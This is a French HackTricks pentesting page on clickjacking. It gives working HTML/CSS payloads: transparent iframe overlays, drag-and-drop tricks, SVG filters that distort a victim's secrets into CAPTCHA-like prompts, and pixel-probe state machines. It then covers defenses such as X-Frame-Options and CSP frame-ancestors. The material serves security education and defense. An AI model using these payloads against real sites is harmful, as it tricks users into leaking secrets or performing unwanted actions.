Clickjacking

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Qu’est-ce que le Clickjacking

Dans une attaque de Clickjacking, un utilisateur est trompé pour cliquer sur un élément d’une page web qui est soit invisible soit déguisé en un autre élément. Cette manipulation peut entraîner des conséquences indésirables pour l’utilisateur, telles que le téléchargement de malware, la redirection vers des pages web malveillantes, la fourniture de credentials ou d’informations sensibles, des transferts d’argent, ou l’achat en ligne de produits.

Astuce : préremplir des formulaires

Il est parfois possible de remplir la valeur des champs d’un formulaire en utilisant des paramètres GET lors du chargement d’une page. Un attaquant peut abuser de ce comportement pour remplir un formulaire avec des données arbitraires et envoyer la charge utile de clickjacking afin que l’utilisateur appuie sur le bouton Submit.

Remplir un formulaire avec Drag&Drop

Si vous avez besoin que l’utilisateur remplisse un formulaire mais que vous ne souhaitez pas lui demander directement d’entrer des informations spécifiques (comme l’email ou un mot de passe spécifique que vous connaissez), vous pouvez simplement lui demander de Drag&Drop quelque chose qui écrira vos données contrôlées comme dans this example.

Payload basique

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Payload en plusieurs étapes

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Si vous avez identifié une attaque XSS qui nécessite qu’un utilisateur clique sur un élément pour déclencher le XSS et que la page est vulnérable au clickjacking, vous pouvez en abuser pour tromper l’utilisateur afin qu’il clique sur le bouton/le lien.
Example:
Vous avez trouvé un self XSS dans certains détails privés du compte (détails que seul vous pouvez définir et lire). La page contenant le form pour définir ces détails est vulnérable au Clickjacking et vous pouvez prepopulate le form avec des paramètres GET.
Un attaquant pourrait préparer une attaque de Clickjacking sur cette page en prepopulating le form avec le XSS payload et en trickant l’user pour qu’il Submit le formulaire. Ainsi, when the form is submitted et que les valeurs sont modifiées, the user will execute the XSS.

DoubleClickjacking

D’abord explained in this post, cette technique consisterait à demander à la victime de double-cliquer sur un bouton d’une page personnalisée placée à un emplacement précis, et à exploiter les différences de timing entre les événements mousedown et onclick pour charger la page de la victime pendant le double-clic de sorte que la victim actually clicks a legit button in the victim page.

Un exemple peut être vu dans cette vidéo : https://www.youtube.com/watch?v=4rGvRRMrD18

Un exemple de code se trouve dans this page.

Warning

Cette technique permet de tromper l’utilisateur pour qu’il clique à un seul endroit dans la page de la victime en contournant toutes les protections contre le clickjacking. L’attaquant doit donc trouver des sensitive actions that can be done with just 1 click, like OAuth prompts accepting permissions.

SVG Filters / Cross-Origin Iframe UI Redressing

Les versions modernes de Chromium/WebKit/Gecko permettent d’appliquer en CSS filter:url(#id) aux iframes cross-origin. Les pixels rasterisés de l’iframe sont exposés au graphe de filtres SVG en tant que SourceGraphic, donc des primitives telles que feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology, etc. peuvent déformer arbitrairement l’UI de la victime avant que l’utilisateur ne la voie, même si l’attaquant ne touche jamais le DOM. Un filtre de style Liquid-Glass simple ressemble à :

<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
  • Primitives utiles : feImage charge des bitmaps d’attaquant (p. ex., overlays, displacement maps) ; feFlood construit des mattes de couleur constante ; feOffset/feGaussianBlur affinent les reflets ; feDisplacementMap réfracte/déforme le texte ; feComposite operator="arithmetic" implémente des calculs arbitraires par canal (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), suffisants pour l’amélioration du contraste, le masquage et les opérations AND/OR ; feTile recadre et réplique des sondes de pixels ; feMorphology agrandit/rétrécit les traits ; feColorMatrix déplace la luma dans l’alpha pour construire des masques précis.

Déformer des secrets en invites de type CAPTCHA

Si un framable endpoint rend des secrets (tokens, reset codes, API keys), l’attaquant peut les déformer pour qu’ils ressemblent à un CAPTCHA et contraindre une retranscription manuelle :

<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>

Les pixels déformés trompent l’utilisateur en lui faisant “résoudre” le captcha à l’intérieur de l’<input> contrôlé par l’attaquant dont le pattern impose le véritable secret de la victime.

Recontextualisation des saisies de la victime

Les filtres peuvent supprimer de manière chirurgicale le texte d’espace réservé/de validation tout en conservant les frappes de l’utilisateur. Un flux de travail :

  1. feComposite operator="arithmetic" k2≈4 amplifie la luminosité de sorte que le texte d’aide gris se sature en blanc.
  2. feTile limite la zone de travail au rectangle de l’input.
  3. feMorphology operator="erode" épaissit les glyphes sombres tapés par la victime et les stocke via result="thick".
  4. feFlood crée une plaque blanche, feBlend mode="difference" avec thick, et un second feComposite k2≈100 le transforme en un matte de luminance prononcé.
  5. feColorMatrix déplace cette luminance dans l’alpha, et feComposite in="SourceGraphic" operator="in" ne conserve que les glyphes saisis par l’utilisateur.
  6. Un autre feBlend in2="white" plus un léger recadrage donne une zone de texte propre, après quoi l’attaquant superpose ses propres labels HTML (par ex. « Entrez votre e-mail ») tandis que l’iframe cachée applique toujours la politique de mot de passe de l’origine de la victime.

Safari a du mal avec feTile ; le même effet peut être reproduit avec des mattes spatiaux construits à partir de feFlood + feColorMatrix + feComposite pour des payloads réservés à WebKit.

Sondes de pixels, logique et machines à états

En recadrant une région de 2–4 px avec feTile et en la dupliquant sur 100% du viewport, l’attaquant transforme la couleur échantillonnée en une texture plein-cadre qui peut être seuillée en un masque booléen :

<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>

Pour des couleurs arbitraires, une référence feFlood (p.ex., #0B57D0) plus feBlend mode="difference" et un autre composite arithmétique (k2≈100, k4 comme tolérance) produisent du blanc uniquement lorsque le pixel échantillonné correspond à la teinte cible. En alimentant ces masques dans feComposite avec des k1..k4 ajustés, on obtient des portes logiques : AND via k1=1, OR via k2=k3=1, XOR via feBlend mode="difference", NOT via un blend contre du blanc. En chaînant les portes, on construit un additionneur complet à l’intérieur du graphe de filtres, prouvant que le pipeline est fonctionnellement complet.

Les attaquants peuvent donc lire l’état UI sans JavaScript. Exemples de booléens d’un workflow modal :

  • D (dialog visible) : sonder un coin assombri et tester par rapport au blanc.
  • L (dialog loaded) : sonder les coordonnées où le bouton apparaît une fois prêt.
  • C (checkbox checked) : comparer le pixel de la case à cocher avec le bleu actif #0B57D0.
  • R (red success/failure banner) : utiliser feMorphology et des seuils rouges à l’intérieur du rectangle de la bannière.

Chaque état détecté commande une bitmap d’overlay différente incorporée via feImage xlink:href="data:...". Masquer ces bitmaps avec D, L, C, R maintient les overlays synchronisés avec le vrai dialog et guide la victime à travers des workflows multi-étapes (réinitialisations de mot de passe, approbations, confirmations destructrices) sans jamais exposer le DOM.

Dialog Basic Auth dans un iframe sandboxé (pas d’allow-popups)

Un iframe sandboxé sans allow-popups peut toujours faire apparaître un HTTP Basic Authentication modal contrôlé par le navigateur lorsqu’un chargement retourne 401 avec WWW-Authenticate. Le dialog est généré par la couche réseau/authentification du navigateur (et non par les alert/prompt/confirm JS), donc les restrictions de popup dans le sandbox ne le suppriment pas. Si vous pouvez exécuter des scripts dans l’iframe (p.ex., sandbox="allow-scripts"), vous pouvez la naviguer vers n’importe quel endpoint émettant un Basic Auth challenge :

<iframe id="basic" sandbox="allow-scripts"></iframe>
<script>
basic.src = "https://httpbin.org/basic-auth/user/pass"
</script>

Une fois la réponse arrivée, le navigateur demande des identifiants même si les popups sont interdits. Framing d’une origine de confiance avec cette astuce permet le UI redress/phishing : des invites modales inattendues à l’intérieur d’un widget “sandboxed” peuvent désorienter les utilisateurs ou pousser les password managers à proposer des identifiants enregistrés.

Extensions de navigateur : DOM-based autofill clickjacking

En dehors de l’iframing de pages victimes, les attaquants peuvent cibler les éléments d’UI d’extensions de navigateur injectés dans la page. Les password managers affichent des listes d’autofill près des champs focusés ; en focalisant un champ contrôlé par l’attaquant et en masquant/occultant le dropdown de l’extension (astuces d’opacité/overlay/couche supérieure), un clic contraint de l’utilisateur peut sélectionner un élément stocké et remplir des données sensibles dans des champs contrôlés par l’attaquant. Cette variante ne nécessite aucune exposition via iframe et fonctionne entièrement via manipulation DOM/CSS.

Stratégies pour atténuer Clickjacking

Défenses côté client

Les scripts exécutés côté client peuvent effectuer des actions pour prévenir Clickjacking :

  • S’assurer que la fenêtre de l’application est la fenêtre principale ou la top window.
  • Rendre toutes les frames visibles.
  • Empêcher les clics sur des frames invisibles.
  • Détecter et alerter les utilisateurs des tentatives potentielles de Clickjacking.

Cependant, ces scripts de frame-busting peuvent être contournés :

  • Browsers’ Security Settings: Certains navigateurs peuvent bloquer ces scripts en fonction de leurs paramètres de sécurité ou d’un manque de support JavaScript.
  • HTML5 iframe sandbox Attribute: Un attaquant peut neutraliser les scripts de frame buster en définissant l’attribut sandbox avec les valeurs allow-forms ou allow-scripts sans allow-top-navigation. Cela empêche l’iframe de vérifier si elle est la top window, par exemple,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

Les valeurs allow-forms et allow-scripts permettent des actions à l’intérieur de l’iframe tout en désactivant la navigation de niveau supérieur. Pour garantir le fonctionnement attendu du site ciblé, des permissions supplémentaires comme allow-same-origin et allow-modals peuvent être nécessaires, selon le type d’attaque. Les messages de la console du navigateur peuvent indiquer quelles permissions autoriser.

Défenses côté serveur

X-Frame-Options

L’en-tête de réponse HTTP X-Frame-Options informe les navigateurs sur la légitimité de l’affichage d’une page dans un <frame> ou <iframe>, contribuant à prévenir le Clickjacking :

  • X-Frame-Options: deny - Aucun domaine ne peut encadrer le contenu.
  • X-Frame-Options: sameorigin - Seul le site courant peut encadrer le contenu.
  • X-Frame-Options: allow-from https://trusted.com - Seul le ‘uri’ spécifié peut encadrer la page.
  • Remarque sur les limites : si le navigateur ne prend pas en charge cette directive, elle peut ne pas fonctionner. Certains navigateurs préfèrent la directive CSP frame-ancestors.

Content Security Policy (CSP) frame-ancestors directive

frame-ancestors directive in CSP est la méthode recommandée pour la protection contre le Clickjacking :

  • frame-ancestors 'none' - Similaire à X-Frame-Options: deny.
  • frame-ancestors 'self' - Similaire à X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Similaire à X-Frame-Options: allow-from.

Par exemple, la CSP suivante n’autorise le framing que depuis le même domaine :

Content-Security-Policy: frame-ancestors 'self';

Des détails supplémentaires et des exemples complexes sont disponibles dans la frame-ancestors CSP documentation et la Mozilla’s CSP frame-ancestors documentation.

Content Security Policy (CSP) with child-src and frame-src

Content Security Policy (CSP) est une mesure de sécurité qui aide à prévenir le Clickjacking et d’autres attaques par injection de code en spécifiant quelles sources le navigateur doit autoriser à charger du contenu.

frame-src Directive

  • Définit les sources valides pour les frames.
  • Plus spécifique que la directive default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Cette politique autorise les frames depuis la même origine (self) et https://trusted-website.com.

child-src Directive

  • Introduit dans CSP niveau 2 pour définir les sources valides pour les web workers et les frames.
  • Agit comme mécanisme de repli pour frame-src et worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Cette politique autorise les frames et les workers depuis la même origine (self) et https://trusted-website.com.

Notes d’utilisation :

  • Dépréciation : child-src est progressivement abandonné au profit de frame-src et worker-src.
  • Comportement de repli : si frame-src est absent, child-src est utilisé comme repli pour les frames. Si les deux sont absents, default-src est utilisé.
  • Définition stricte des sources : n’incluez que des sources de confiance dans les directives pour éviter les exploitations.

Scripts JavaScript anti-frame

Bien qu’ils ne soient pas complètement infaillibles, des scripts JavaScript anti-frame peuvent être utilisés pour empêcher qu’une page web soit affichée dans une frame. Exemple :

if (top !== self) {
top.location = self.location
}

Utilisation des Anti-CSRF Tokens

  • Validation des tokens : Utilisez des anti-CSRF tokens dans les applications web pour garantir que les requêtes modifiant l’état sont effectuées intentionnellement par l’utilisateur et non via une page Clickjacked.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks